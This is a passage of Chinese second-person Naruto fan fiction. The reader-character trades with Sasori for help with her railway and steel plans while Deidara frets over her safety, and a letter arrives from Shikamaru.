没有理会白的目光,迪达拉将自己的视线转移到正在熟睡的你身上,还好,你还安全地活着,没有任何危险。 “看过以后总算是能够放心了吧?”蝎的声音在迪达拉耳边响起,带着十足的冷嘲热讽,这让迪达拉的脸色变得有些难看,他终于意识到自己刚才好像表现得太激动了,就说:“你之前说过的,如果见到她的话或许会把她制成收藏品,所以我才会……” 迪达拉试图解释自己刚才的行为,但无论怎么说都无法掩盖一个事实,那就是他确实很在意你,蝎顺着迪达拉的目光看去,安静地凝望着你熟睡的侧脸,身躯伴随着呼吸轻微的一起一伏。 此刻的你是活着的,也是鲜活的,蝎说:“我暂时还不打算把她做成收藏品。” 听到他这么说的迪达拉也没有安心,因为他敏锐地捕捉到了那句话里的关键词,“暂时”。 这意味着什么呢?意味着他只是现在不动手而已,在未来,或许是不久后的将来他很可能会因为心血来潮而动手,迪达拉尝试着用商量的语气对蝎说:“就不能换一个吗?” 如果你死掉的话……光是想到这个可能就让迪达拉内心泛出酸楚,他不想,也不愿意让你死去。 你应该……应该总是那么游刃有余的,运筹帷幄的,绝对不会是死气沉沉的。 赤砂之蝎反问道:“你这是在干涉我的决定?我们只是搭档而已,你也无权命令我。” 迪达拉当然知道自己没有资格命令他,但是,他垂在身侧的手收拢,深呼吸一口气,说:“这不是命令,这是……请求。” 闻言,赤砂之蝎这才转过头,用平淡的目光审视着自己的搭档,气氛沉默着,如同一潭死水,最终这死水开始缓慢地流动,蝎说了第一句话,他说:“真厉害,她居然能够把你改造到这种程度吗?” 如果说他的改造是对躯体的改造,将容易损坏的身体改造成尖锐的傀儡零部件,那么你的改造就是对心灵进行塑造。 眼前的迪达拉就是个鲜明的例子,他甚至于自己都没有意识到他的意志甚至是灵魂都因为你而发生改变。 真是有趣啊,居然可以这么做。 迪达拉没有读懂赤砂之蝎说这话背后的深意,他还觉得对方这是在挖苦讽刺,就说:“喂——什么叫做改造啊?我可没有因为她而发生改变!”迪达拉还在强调自己仍旧和以前一样,但蝎可不会相信他的说辞,蝎半是敷衍地说:“是么。” 反正他是不会相信迪达拉本人的说辞的,对于他说话的也是左耳进右耳出,听了就跟没听似的。 面对赤砂之蝎的敷衍态度,迪达拉想要解释的,但是说到后面就愈发没有底气了,是的,他自己居然也开始心虚了起来,都不知道自己到底在心虚什么。 “你和她只是偶遇吗?”迪达拉又换了个话题,“还是说你是故意找过来的?” “你的心里不是已经有了答案了吗?而且我从来都没有掩饰过自己的想法,我就是专门来找她的,就是想要看看她到底拥有什么魔力,居然能够让你耽误时间,还会让你这么魂牵梦萦。” 迪达拉咋咋呼呼的,支支吾吾地解释道:“你,你说的都是什么啊?”什么叫做魂牵梦萦啊?他才没有对你这样呢,嗯! 赤砂之蝎走到另外一边,回到自己的房间,脸上没什么表情变化,他刚才说的都是实话,他现在确实没有那么想杀你,但是如果你日后因为意外死去,那么他必然会夺走你的尸首。 他觉得这是属于自己的仁慈了。 “之前让你去调查的木叶人柱力情况如何?”赤砂之蝎开始询问有关任务的情况,迪达拉的表情这才恢复正常,他说:“没什么进展,那个火影还有宇智波都对此严防死守,尤其是那个宇智波鼬。”他的万花筒写轮眼真的很难对付,他甚至差点在上面吃亏,所以现在迪达拉说起这个就来气,他说:“我果然很讨厌那群宇智波。” 已经从讨厌宇智波鼬上升到讨厌一整个宇智波了,赤砂之蝎说:“他们的写轮眼确实不容小觑。” 迪达拉还有些生气,不光是因为讨厌宇智波的写轮眼,更讨厌宇智波那副和你好像很熟悉的姿态,搞什么啊,你只是和宇智波生活过一段时间而已,又不是已经成为宇智波的一份子了。 这才是真正让迪达拉感到气愤的地方。 明明他都这么努力了还只能算是你的合作伙伴,但有的宇智波都已经能爬上你的床铺了。 这一点都不公平啊!难道是他哪里做的不够好吗?是他不够优秀吗?迪达拉认真反思了很久,得出一个结论,那就是他做不到像宇智波那样擅长勾引人。 没错,都怪那些家伙勾引你! 赤砂之蝎不知道迪达拉内心的想法居然那么丰富,他说:“那就只能换个方法了……” 后来迪达拉又心不在焉地和蝎说了些任务上的事情,说到后面,迪达拉的心思就又飘到你那边去了,他还一脸严肃地轻咳一声,说:“好了,那么我就要去休息了。” 赤砂之蝎说得一针见血,他说:“你现在过去的话她身边的守卫也不会给你好脸色看的。” 然而迪达拉压根就不在乎这个,他扬起下巴,说:“我干嘛看他的脸色啊?”他当然是去看你的啊,平白无故地看那个叫做白的家伙做什么啊? 赤砂之蝎目送迪达拉的身影消失。 但迪达拉到你的房间确实被白第一时间瞥了一眼,后者说:“你来这里做什么?” 迪达拉双手环胸,说:“我来看看她啊,干嘛?我连看都不能看吗?” “如果你指的是拜访的话,那么应该在白天,在明希醒着的时候过来,而不是晚上在她熟睡的时候,一般来说,你这种行为被称之为‘偷窥’。”白就用这么平淡的语气说出让迪达拉差点炸毛的话语。 但也只是差点炸毛而已,他当然知道不能打扰你睡觉,否则惹你生气的,而且还是非常严重的起床气。 但他果然还是好不爽啊……迪达拉咬牙切齿地说:“我知道了。” 用最凶狠的语气说出最无奈的话语。 隔天早上自然醒来的你看见趴在你床尾的迪达拉时你还愣了一下,咦,他又是从哪里冒出来的?你依稀记得自己在入睡前好像没见到他吧?不等你发问迪达拉就主动解释道:“我就是顺路过来看看,你也别多想,嗯!” 顺路?顺路还能顺到这种程度?和迪达拉相处一段时间后就会发现他嘴硬是真的嘴硬,你点了点头,伸了个懒腰从床上下来,趿拉着拖鞋走到浴室,然后迪达拉也很自然而然地跟了过来,就像条小尾巴,你回过头,问道:“你有必要跟得那么紧吗?”你又不是要逃跑,你只是去浴室洗漱而已。 迪达拉抿抿唇,那表情好像在犹豫,过了几秒,在你打开洗手台的水龙头时他的声音混入哗啦啦的水流声中,他说:“我只是想多看看你而已。” 他说话的声音很微弱,如果不仔细听的话很容易就被流水声给盖了过去,你关上水龙头,侧过头,大概猜到他是因为什么而来的了,你笑得眉眼弯弯,紧接着迪达拉就听见你说:“你是在担心我是吗?因为你的搭档赤砂之蝎找了过来,你担心我的安危对吗?” 虽然很不想承认呢,感觉如果就这么承认的话好像又一次输给了你,但是,他要是什么都不说,万一被你误会了呢?于是他闷闷地说:“是啊,我很担心你,因为他说过要是见到你很可能会把你给做成收藏品,我才不希望你变成傀儡呢,嗯!再怎么说我们现在也是合作关系吧?那么,那么……我也负有保护你的责任,就只是这样而已。” “行了,我知道你的意思了。”你关上浴室的门,等你出来的时候迪达拉还站在门外,他说:“我上次还去 木叶了,然后就遇到了那几个宇智波,宇智波鼬是最让我讨厌的。” 你抬手擦去脸颊上的水珠,听他提到宇智波鼬也没有什么特别的反应,这让在暗中观察你表情的迪达拉内心窃喜,这就足以说明你对宇智波鼬是不感兴趣的,同时也可以推导出宇智波鼬对你只是一厢情愿而已。 这绝对是迪达拉这段时间收集到的最让他高兴的消息了,他的喜悦溢于言表,以至于你都在问:“你突然那么高兴做什么?难不成那些宇智波还热情招待你了?” 热情招待什么呀,打了好几架才是真的,而且和他们打架迪达拉也不占优势,所以他说:“才没有呢,他们都是一群很难缠的家伙。” 这点你深表赞同。 走到客厅,你又看了迪达拉一眼,他还是那副风尘仆仆的样子,你忽然想到了什么,对他说:“你……昨天晚上赶过来的话,该不会都没有洗过澡吧?” 说着你略微有些嫌弃地对他摆摆手,示意他赶紧去把自己收拾干净,迪达拉嘀咕一声,说:“你在意的就只有这个吗?” 你撇撇嘴,说:“当然还有别的,比如说你那么脏兮兮的居然还趴在我的床尾。”你刚才醒过来的时候居然都没有发现。 迪达拉虽然有些郁闷,但还是很听话地去浴室里清理自己,你让白给他准备了换洗的衣服,白将折叠好的衣服送到迪达拉手里,后者不情不愿地说了一句谢谢,白表现得很平淡,毕竟他只是按照你的指示做事而已。 在迪达拉清洗自己的间隙里你一边吃早餐一边看看文件,白就站在你的身后给你梳理头发,又问你想要什么样式的编发,你说:“最简单的就好。” 太复杂的编发等到晚上睡觉的时候拆散头发你的头发都会变得乱七八糟的,不过因为你的发质柔顺光滑所以还不至于炸毛,顶多就是变得歪七扭八一些。 白应了一声,用梳子将你的头发分成几股。 迪达拉洗得很快,你早餐吃到一半,白给你编头发也编到一半,只听见浴室门咔哒一声,换上一套白衬衣和黑色衬裤迪达拉就从浴室里走出来,肩膀上披着一条毛巾,一头金色长发擦得半干,就是发梢还在滴滴答答地滴水,他走到你旁边拉开椅子坐下,说:“你又在看什么东西啊?” 反正迪达拉也不是你的商业竞争对手,所以给他看看你的文件也不成问题,你非常大方地让迪达拉看清你手中的文件。 都是一些密密麻麻的文字还有表格和数字,迪达拉只是看了一两眼就不感兴趣了,他下意识地皱皱眉,像是对玩具不怎么感兴趣的金毛犬,说:“这看起来好无聊,你是怎么看进去的?” “成熟的大人都能耐着性子看文件,小孩子嘛……那就难说了。”说着,你笑盈盈地瞥了迪达拉一眼,他虽然有点孩子气,但又不是真的笨蛋,他也聪明得很,知道你这言外之意是什么,他说:“你就是觉得我幼稚咯?哼,如果我不来看你的话——” 没准你就真的被蝎给暗算了呢,迪达拉这话藏在心里,没说出来,因为他也不想看到你遇到危险,他希望…… 他希望什么呢? 嗯,大概是希望你能够一直这样张扬地活下去吧,就如同爆.炸瞬间绽放的绚烂火光,这就是你对于他的意义。 迪达拉说:“切,算了。” 他拿起餐桌上的三明治,白特意多做了一份,就是为了避免迪达拉没有眼力见地吃属于你的那一份早餐,果然,正如他所料的,迪达拉倒是很不客气地开始吃早餐。 你喝了一口咖啡,问道:“你来都来了,怎么不和你搭档待在一起?” 迪达拉也从咖啡壶里倒了一杯咖啡,才喝了一口,就被苦得眉毛皱巴到一块。 怎么能——这么苦啊!而你又是怎么做到面不改色地一口接着一口地喝下去的啊? 该不会是装的吧?想着,迪达拉仔细观察你的表情,嗯,是真的一点波澜都没有。 他说:“你就不觉得苦吗?” “还可以,要不然你多加点糖?”说着,你把装着方糖的陶瓷罐子推到迪达拉的手边,迪达拉说自己完全没问题,然后又尝试了一口,结果就是又被苦到了,这次他总算是学乖了,拿起好几块方糖加到咖啡里。 方糖在温热的黑咖啡里融化,总算是能够入口了,迪达拉端着咖啡杯,回答你上一个问题,他说:“我们虽然是搭档但也没必要一直待在一起吧?” 说得也有道理,别看他们这个晓组织很神秘,但其实搭档关系就是寻常的同事关系,所以换句话来说谁又会喜欢和同事待在一块呢? 你充分表示理解。 你和迪达拉还没聊两句蝎就找了过来,这次的他没有躲在傀儡里面,应该说是以自己的本体示人,不得不说,他的本体确实很漂亮,昨天晚上因为喝了点酒有些微醺,都没怎么看清他的长相,现在仔细一看,发现他的长相可以用精致漂亮来形容。 一旁的迪达拉发现你盯着赤砂之蝎看了那么久,他颇有危机感地说:“明希,你为什么一直盯着他看啊?” 理由不是很简单吗,你一直盯着他看就是因为他长得漂亮啊,多看几眼对你的眼睛很友好。 你说:“嗯,因为迪达拉你的搭档很漂亮啊。” 听到这里迪达拉有些错愕地睁大眼睛,心说你可别被蝎的外表给欺骗了,还有就是你之前见到他的时候可不是这种反应啊,难道是他长得不好看吗?虽说忍者是不能以貌取人的,但是,在外貌上输给自己的搭档果然还是会让他有些不平衡。 他的外表不合你的胃口吗?迪达拉就是这样完全遮不住自己内心的想法,稍微有点情绪波动就会全都写在脸上,现在就是这样。 蝎似笑非笑,对迪达拉说:“你产生了危机感?也是,你都和她相处这么长时间了,但是她现在看上去好像更加喜欢我,无论换做谁都会生气的吧?” 切,他都在说什么啊,迪达拉一下子没有控制好自己的表情,差点就要当着你的面翻白眼了。 你还什么都没说呢,他怎么就笃定你更喜欢他呢?不行,他必须要和你讨个说法,于是他认真地看向你,说:“所以,明希你真的更加喜欢蝎吗?就因为他长得好看?” 你没有马上回答,而是把水果拼盘推到迪达拉那边,说:“别生气,先吃点水果吧。” 又把他当成小孩子对待了!迪达拉气得牙痒痒,然后在你的注视下吃了好几口水果,就像是在泄愤似的咬得咔嚓咔嚓作响。 果然还是很幼稚,你想。 蝎看了一眼你的文件,他就显得比迪达拉有耐心多了,而且他也看明白了你接下来的计划,他说:“你想要提升这个国家的钢铁产能从而在世界各地铺设铁路是么?” 果然还得是成年人才比较方便聊天,你说:“差不多吧,你居然看懂了?” 赤砂之蝎微微眯起眼睛,他说:“看样子我是被你小瞧了啊。” “也不能这么说吧。”你单手托腮,只是在此之前的忍者看问题总是很容易联想其他地方,看待事情的角度总是出乎预料的刁钻,现在遇到的赤砂之蝎倒是出人意料的上道,你指的是你们的脑电波居然能对上号。 赤砂之蝎又说:“在铁路建造起来以后各国还有各区域间的人员流动,乃至物资流动都会变得更加频繁,你也确实能够从中获利。”而且还是不小的利益,甚至于只要你想的话,你都能够通过经济手段控制这个世界。 他对于统治世界倒是没有太大的兴趣爱好,加入晓组织也只是觉得这样能够进行傀儡术的研究而已,说到底,晓组织也是因为各自的利益聚集到一块的危险分子,要说他们有多强的向心力,那还真的没多少。 “这都被你发现了,嗯嗯,差不多就是这个道理吧。”你发现自己和赤砂之蝎还有挺多共同话题的,只要他不和你说些关于永恒生命的哲学问题,你觉得自己还是很乐意和他聊天的。 “然后你想要利用我,让我替你做事是么?” 这话说得有些直接了,你说:“也不能这么说吧,人与人之间存在利益交换是再正常不过的事情了。”要是有谁对你说是为了理想,为了别的精神追求而努力的话,那么多半是不想给钱还想压榨你,这是你在上辈子上班好几年得出的经验。 赤砂之蝎说:“也是,那么你又能给我什么呢?” 你的手指摩挲着自己的下巴,“等我死了以后你可以研究我的尸体。”反正真的到那个时候你人都已经死了,尸体变成什么样也不是你需要在意的事情了。 没想到你会那么说,赤砂之蝎的脸上闪过一丝惊讶的神情,但很快他就收敛神色,笑了,“你说的话能当真吗?”言外之意就是担心你耍赖,你说:“当然能当真啊,你看,这旁边不是还有两个见证人吗?他们都能够作证。” 迪达拉的反应比你还要激烈,他说:“不行——!这绝对不行!明希你不能那么答应他!这样的话,你就会变成他的傀儡的!” “别多管闲事。”赤砂之蝎不耐烦地说。 这才不是多管闲事啊,而是……如果放任下去的话,他无法接受你会迎来这个结局。 第49章 哪怕之前将迪达拉击落的时候他都没有表现得那么激动,但他刚才的态度却激烈得出乎你的意料,你被他吵得脑壳都有点隐隐作痛,你不由地揉了揉自己的太阳穴,说:“给我安静一点。” 虽然情绪激动,但迪达拉也还算听话,被你这么一说就安静下来,就是眼睛还在巴巴地望着你,你说:“这只是一场交易而已。” 而且说实在的,你也不觉得自己会那么轻易地死去,可能是因为你做事比较谨慎吧,也有可能是因为你已经死过一次了,所以对于生死也看得很开。 更重要的一点是赤砂之蝎确实是很好用的工具人,如果能让他为你工作的话,你感觉将铁路铺满世界各地的目标可以提前实现,所以无论怎么看你都觉得这个交易不亏本。 迪达拉知道的,虽然你表面上看起来好说话,但实际上你决定的事情很少能被他人改变,所以他也明白自己这么劝说下去也不会有结果的,郁闷的迪达拉将这个问题的矛头指向自己的搭档赤砂之蝎,如果不是他找过来的话,估计就不会出现这种情况的吧。 赤砂之蝎感受到迪达拉的目光,他说:“就算你一直这么看着我也没用,这是你情我愿的交易,你一个第三者着急什么?” 什么叫做第三者?迪达拉微微睁大眼睛,像是没明白蝎的意思,他说:“明明是我先遇见明希的,你说这话前也应该先分个先来后到吧?” 在他们议论纷纷的时候你起身走到隔壁房间,临走前还不忘对他们说:“等你们吵出个所以然来了再通知我。” 在你走后迪达拉和赤砂之蝎面面相觑,你走后他们之间的硝烟味也变淡了一些,迪达拉双手环胸,“我才不是什么第三者呢,真的要论起来那蝎你才是第三者,不……是第四,呃,第五——?”他也不太确定你到底有几个情人,所以就跟到数数似的漫天报数。 赤砂之蝎用“你的脑袋真的没有出问题吗?”这种眼神注视着自己的搭档,后者说着说着发现自己在你心里的分量可能也就这样吧,声音也逐渐弱了下去,他说:“算了,和你在这里争论好像也没什么意义。” “你现在才发现没有意义吗?”赤砂之蝎从始至终的反应都很平淡,倒是迪达拉的情绪起伏就跟坐过山车似的,说到底还是因为他太幼稚了。 “如果真的她遇到了什么意外,我也不会让你改造她的尸体的。”这一点他可以肯定。 “哦,那就到时候再看吧。” 就如同一拳打在棉花上,无力感扑面而来,迪达拉撇撇嘴,赤砂之蝎说:“你就打算一直逗留在这里?哼,真是玩物丧志。” 什么玩物丧志啊?迪达拉说:“明希才不是你说的那种人。”而且再说了,和你相处的时候明明被玩弄的人是他才对吧? 赤砂之蝎站起身,用改造过的机械手指指着迪达拉,而后说:“你都被改造成她手底下一条听话的狗了。” “你就是在羡慕我和她的关系好。”迪达拉扬起下巴,看那表情居然还有点小骄傲,真不知道他到底在骄傲什么,正常人听到刚才那句话不应该暴跳如雷吗?但是迪达拉没有,反应甚至是沾沾自喜的。 没救了,赤砂之蝎的心里浮现出这样一道声音,很快地,他就又把这声音给压了下去,说:“行吧,如果你硬是要这么认为的话好像也没什么办法,嗯,你就这么认为下去吧。” 另外一边的你正在和钢铁厂的负责人商量将生产工艺改进,最好是将整条生产线都调整一下,以此来达到提高生产效率的目的。 但这不是简单几句话,开几个会就能确定的事情,中间还得要经过许多次的测试,你根据赤砂之蝎的建议给负责人提供一个主要的改进方向,剩下的就交给他们了,你也不可能亲力亲为,毕竟还给他们开了工资的,总不能什么事情都让你来吧?你可不想在这个世界也因为过劳早早猝死啊。 负责人拿着几份草稿离开你的办公室。 不得不说,赤砂之蝎还真是个宝库,不光是工艺改进,他对制毒也颇有心得,一般来说擅长制毒那么同样也会擅长药物的制造,毕竟这是触类旁通的知识,所以你很乐意和赤砂之蝎聊天。 接下来的几天你时不时就会找赤砂之蝎聊天,他也不会觉得不耐烦。 在你找过来的时候他只会问:“你这样子就不怕迪达拉生气吗?” 闻言,你有些不解地眨眨眼,说:“虽然他有点幼稚,但其实也算是个懂事的孩子。”言下之意就是他不会那么不识相的。 赤砂之蝎又问你把生产线改进的方案拟定了吗,你说差不多了。 要是换做旁人看见你和晓组织的赤砂之蝎那么心平气和地面对面坐着聊天的话估计会感到非常惊讶的吧,毕竟在他人的印象中晓组织的人都是一群穷凶极恶的亡命之徒。 “你不光资助雾隐村,就连木叶还有砂忍村都有你的投资。”尤其是砂忍村,因为地理位置还有气候的缘故,这个村子不怎么受其他大名的青睐,因此每年下拨的经费也是跟着缩减,因为下拨的经费减少,村子没办法更好的培养下一代人才,而因为优秀的忍者数量太少,所以导致收到的委托也减少,就这样形成一个恶性循环。 虽说赤砂之蝎是叛忍,而且还是砂忍村的叛忍,但他偶尔也会关注砂忍村的一些情况,在他离开以后他仍然在村子里安排了自己的眼线,一方面是为了监视村子内部高层的决策动向,另外一方面也是出于某种私心,他自己无法承认的私心。 然而这个恶性循环在你出现以后就被打破了,你先是慷慨地拿出一大笔资金资助砂忍村,那个数目足以让村子培养下一代的忍者,发展自己的有生力量。 这也是为什么这段时间的砂忍村气氛远没有以前那么压抑了,这一切都是因为你。 你也知道赤砂之蝎来自砂忍村,就说:“是啊,你以前待的村子我也在资助哦。” “如果你要问为什么的话,大概就是觉得有利可图吧,而且我的投资确实带来了不少回报,除此之外我倒是真的没有想过别的什么。”你已经能够预判对方要问的问题然后先一步回答了,为了避免他又开始发散性思维,你尽可能地把话说得直白一些。 “那你还真是个大好人啊。”赤砂之蝎的话语里听不出什么喜怒哀乐,就好像在陈述 一个事实,他不否认这个世界上确实会存在一些好人,只不过善良的人总有一天会被自己的善良给害死,而他会期待着你死去的那一天的。 你的手指摩挲自己的下巴,说:“也不能算是完全的好人吧,我做任何事情都是需要回报的啊。” 比起闲聊这些有的没的,你更想知道他制毒的技术如何,于是你问他有什么擅长制作的毒.药吗?赤砂之蝎反问:“你想要杀谁呢?” 怎么问得那么直接啊,你摊手:“没有啊,我只是问问而已。” 赤砂之蝎虽然语气不怎么样,但是态度很好,从自己的肚子里取出好多试剂,你看着他那空荡荡的腹部,发现那好像是个恒温的小型冰箱。 不是吧,真的自带冰箱啊,你好奇地盯着他的肚子看了好一会,赤砂之蝎问道:“看什么?” “看你的肚子,空的欸,这是专门用来储存药剂的吗?怎么做到一点声音都没有的?”说着你弯腰侧耳倾听,发现都没听见类似于冰箱运作的声音。 他不仅自带冰箱而且还是完全无声的冰箱欸,市面上的冰箱或多或少都会有些噪音,他这个可真厉害啊…… “你听够了没有?”赤砂之蝎稍微有点不耐烦了,但还没有到生气的地步,你抬起头对他笑了一下,说:“真神奇啊,这是个冰箱不是吗?” 就只是因为这个吗?赤砂之蝎奇怪地歪了歪脑袋,这有什么好惊奇,那些药剂本来就对外界温度的要求很高,他专门设计一个装载药剂的冰箱也是情理之中的事情吧? 反倒是你,一副惊奇的模样。 你问道:“我能摸一下吗?” 他就知道你会那么说,他说:“随便你。” 反正就算是拒绝了你也会动手的,所以还不如从一开始就答应,你伸出手,触碰这个冰箱内壁,不算太冰冷,应该就是冷藏的温度,你的手指在冰箱里转了一圈,最后奇怪地触碰着他左胸口微微突出的装置。 “这是什么?能源装置吗?”你好奇地戳了戳,赤砂之蝎淡淡地说:“这是我的心脏。” “噢噢,真是失礼了。”你从善如流地道歉,然后收回手,但目光没有收回去,你仍旧盯着他的心脏,和鲜活跳动的心脏有所不同,这是一个冷冰冰的装置。 所以这算是他的供能装置吗?如果说他现在已经算是一个傀儡了,不需要进食,那么他的动力来源又是什么呢?别告诉你他已经发明出永动机了啊,虽然这在你的上辈子是不可能存在的东西,但是这个世界还真不一定,毕竟这个世界有忍者这么逆天的存在,而且说实话他们的忍术其实也不怎么符合能量守恒定律。 “这是你的心脏,也是你的动力来源吗?如果没了它你就会死是吗?”说是死亡也有些不确切,应该说是陷入沉睡状态? “差不多是这样的。”赤砂之蝎任由你触碰他的心脏,神情平淡,仿佛那只是一个无关紧要的东西。 研究了一会,你终于将视线转移到其他地方,你去看他的双眼,说:“真厉害啊,能够做到这种程度。” 他还以为你会感到奇怪,甚至是产生几分反感,但是这种情绪都没有在你身上出现,你似乎真的只是在欣赏他的改造而已,不掺杂其他的感情。 这让赤砂之蝎觉得或许你也能够理解自己的艺术,他便说:“看来你和那些普通人确实不一样。” 难怪迪达拉会为你而着迷,赤砂之蝎想。 他都在说什么咯噔的话语啊,你扯了扯嘴角,说:“还好吧,我还是觉得自己就是个普通人。” 赤砂之蝎将那些药剂递给你,把话题给扯了回来,他说:“要是感兴趣的话,这些药剂倒是可以给你。” 不是吧,他未免也太慷慨了一点吧,你故作客气地说:“这样会不会不太好呢?” 他“噢”了一声,就要从你手里收回那些药剂。 等等——落到你手里的东西哪里还有还回去的道理?捕捉到你那细微的动作,赤砂之蝎轻笑一声,说:“既然想要,为什么刚才还要说这种话?” “你就没听说过和别人客套一下的礼节吗?” “没有。” 唉,你就不该对他们这些忍者对人情世故的了解程度抱有太大的期望。 “简单来说就是和你客气一下而已。” “那还不都是装出来的?” 他说话还真是尖锐直接啊,算了,看在他无偿提供珍贵药剂,甚至还提供生产线修改方案,日后还会给你打白工的份上,你就不和他就计较这个了。 心安理得地从他手里拿走这些颜色各异的药剂,到时候让白好好学一下,或者是让药师兜分析这些药剂的成分,你面上的表情没什么变化,但心里的算盘已经打得噼里啪啦作响。 甚至把之后的事情都安排得明明白白的,你说:“那真是太感谢你了。” 赤砂之蝎反问:“你的感谢就只是口头的感谢吗?” 你说:“我会大力赞助砂忍村的。” “砂忍村和我又没有什么关系。” 得了吧,再怎么说那也是他的故乡,别看他嘴上这么说,其实心里还是很在意的吧,你嗯嗯两声,说:“好吧那就没关系,那你想要什么呢?” “把你的手伸过来。”他说着。 你奇怪地将自己的手伸过去,他冰冷的人偶手掌握住你,你在仔细观察着他的手掌指关节,做得很精致灵活,如果不是刻意强调傀儡的指关节,这会是一双和真正的手毫无差别的人偶双手。 此时此刻他正握住你的手,时不时捏一下你的指腹还有指根,掌心贴着你的掌心,仿佛在丈量什么。 最后说:“你的双手也很漂亮,我想知道你身上的其他地方也那么漂亮吗?” 你反握住他的手,说:“你不是已经变成傀儡了吗?所以还会有最基础的反应吗?” 赤砂之蝎没说话,但你很微妙地感觉到了他的不悦。 不是吧,就这样生气了吗? 真的生气了啊?你好笑地歪了歪脑袋,盯着他的眼睛看,说:“你在生气吗?” “如果你是带着戏谑的口吻问的我,那么我的愤怒也是理所当然的产物。” 你说:“我可以给你很多钱。” “你觉得我是那种会被金钱打动的俗人?”他冷哼一声。 没吃过没钱的苦的人说话就是硬气,反正你是一辈子都没办法说出这种话的,你说:“那你总有别的想要的东西。” “确实有。”他停顿几秒后才说,“我想知道木叶人柱力的情报,你以前生活在木叶,肯定是知道的对么?” 啊……这可真是,你撇撇嘴,也不是不能说,反正你都已经提醒木叶留意他们的人柱力了,你摊手,“他叫漩涡鸣人,金发蓝眼,性格有些莽撞,但也很活泼开朗,喜欢吃的东西是拉面,不怎么喜欢吃蔬菜。” 听到一半赤砂之蝎就觉得有点不对劲了,他打断你接下来要说的话,他说:“你后面说的都是什么?这些情报对我来说毫无用处。”他为什么要了解那个九尾人柱力喜欢吃什么又不喜欢吃什么啊? 你不是那种抓不住重点的人,那么就只有一种可能了,那就是你故意那么说的,赤砂之蝎直接问道:“你是故意那么说的吗?” 你摊手,表情略带无奈,说:“我对他的了解就只有那么多啊,毕竟我平常和他也没有什么交集,他是人柱力村子里自然会严格监控他的一举一动,我又怎么能贸然接近他呢?” 这话听上去似乎很有道理,但赤砂之蝎还是笃定你就是在敷衍他。 被人敷衍了事的感觉可不好,要是换做别人这么做,他应该直接解决掉对方的,但是,他又看了一眼你笑盈盈的双眼。 直接杀死的话就太可惜了一点,他无法肯定自己要是亲手杀了你是否还能让变成傀儡的你露出这种笑容。 所以为了保险起见,他没有动手,甚至于内心也没有那么生气,他说:“下次,我不会再那么好应付了。” 看他这架势是要离开了吗?你客气地和他说:“不在这里多玩几天了吗?” “你这话也是在客套吗?” “啊……被你发现了啊,嗯,就是客套。”你点点头,赤砂之蝎说:“我还有其他的事情要做,可没工夫在这里和你耗。” 他们忍者可真是一个赛一个的嘴硬,你嗯嗯两声,表示自己听明白了,而后对他挥挥手。 目送赤砂之蝎的身影消失,跟着一块消失的还有他的搭档迪达拉,他们在离开的路上似乎还在说些什么,迪达拉问道:“你刚才都和明希说了什么啊?” “都是一些不能告诉你的东西。”赤砂之蝎一开口就差点惹得迪达拉炸毛,后者百思不得其解,你和赤砂之蝎才认识多久啊,你们之间居然已经有了不能告诉他的秘密,难道他真的是第三者吗? 不不不,这种事情是绝对不可能发生的。 迪达拉摇了摇头,将这个想法甩出自己的脑袋,身旁的赤砂之蝎也捕捉到了他的这一动作,表情似笑非笑,说:“她确实是一位合格的合作伙伴。” 听到对方这么夸奖你,这让迪达拉的心里很不是滋味,他说:“她确实很好。”这一点压根不需要蝎特意说明,他早就已经知道了。 在赤砂之蝎和迪达拉离开以后,你又收到了从木叶来的信件,写信人是鹿丸,他提到了木叶的近况,其中细致地记录了漩涡鸣人的情况,光是关于他的情况就写了整整一页。 虽然你叮嘱过他好好保护鸣人,但也不是要他这么事无巨细地记录鸣人的生活细节,你仔细一看,甚至还看到了鸣人抱着和你的合照默默掉眼泪的细节。 呃…… 不用这些也记录下来吧? 但是你还真没想到原来鸣人的心思这么细腻的吗?有些细腻过头了吧?在你的印象里他的性格一直都是大大咧咧的,完全不像是会抱着和你的合照掉眼泪的性格啊。 不过,你和他有过合照吗? 你仔细想了想,好像是……没有的吧? 你的记性不错,鸣人确实没有和你的合照,那张照片还是你和佐助一整个小队拍的照片,画面里的人物可不止他和你,还有佐助和小樱,只不过这张照片被他特意截成了两人的合照而已。 只是看合照的话,感觉就好像和你的关系很亲近似的,就可以忽略这张照片其实是你和佐助的合照这一事实。 人在某些时刻总是喜欢自欺欺人的,这一点鸣人也不例外,他当然知道佐助在你的心里更加重要,只是……偶尔,他也会想象一下自己是你最重要的人,这种被人坚定地选择,认真地喜欢的感觉不免会让人上瘾。 有了第一次就会有第二次,到最后最糟糕的结果莫过于逐渐模糊现实与幻想的界限,然后一点一点地沉浸在自己编织的美梦里。 现在的鸣人就是这样。 他早就意识到了这是不对的,可是,这样的坏习惯一时半会没办法改正,甚至于他的情感也是放任自己继续这样下去。 毕竟,现实世界对他来说太过尖锐沉重,他不是个会逃避的人,只是,他需要一些勇气,而你就是他的勇气来源。 第50章 果然下次应该和鹿丸说一声不要让他写得那么详细了,毕竟这也不是正事,你看完这封信,当即提笔写回信,在你写信的时候那只负责送信的猫头鹰就一直待在你身边,样子乖巧,偶尔还会歪着脑袋,它既然通灵兽,而且还是会说话的通灵兽,那就说明它聪明得很,估计也能看懂你写的信。 果不其然地,它看了一会就说:“我建议你可以多问几句鹿丸的近况哦,他好像很期待你问他这些呢。” 丝毫不知道自己已经被通灵兽给卖了的鹿丸还在写任务汇报书,他只是突然觉得有些不自在而已,揉了揉自己的手腕,是因为伏案太久所以身体感到不适了吗?他将这份不自然归因为自己长时间的文书工作。 而另外一边的通灵兽猫头鹰已经和你说开了,它说:“虽然鹿丸表现得很云淡风轻,但是每次我送信过去他都会很高兴,不过他估计也不想我告诉你这些事情。” “你能猜到他不想你还要和我说这些?”你觉得这只猫头鹰是真的很有趣,猫头鹰说:“我只是他的通灵兽,又不是他的仆人,也没必要什么都听他的,我也有自己的判断。” 大概这就是通灵兽太聪明的坏处了吧,会有太多自己的想法,它又说:“但是只要他不知道这是我说的问题就不大了。” 它还挺懂人情世故的,你说:“差不多就是这个道理吧,你很聪明。” “毕竟通灵兽和忍者是双向选择的关系,聪明的通灵兽也会选择聪明的忍者,要是对方还蠢笨,我也会很郁闷的。”猫头鹰说着,它忽然之间察觉到了什么,脑袋突然转到另外一边,圆溜溜的眼瞳里倒映出窗外的乌鸦,不是普通的乌鸦,它又对你说:“你真是个大忙人,还有其他人找你。” 你回过头一看,看见了停在窗户外面的乌鸦,那是止水的乌鸦,专门过来肯定不是来凑热闹的,你想起来上次还麻烦止水给你做事来着的,至于报酬,他什么都没要,那已经是一段时间前的事情了,推算一下,现在这个时间点他应该已经开始上班了。 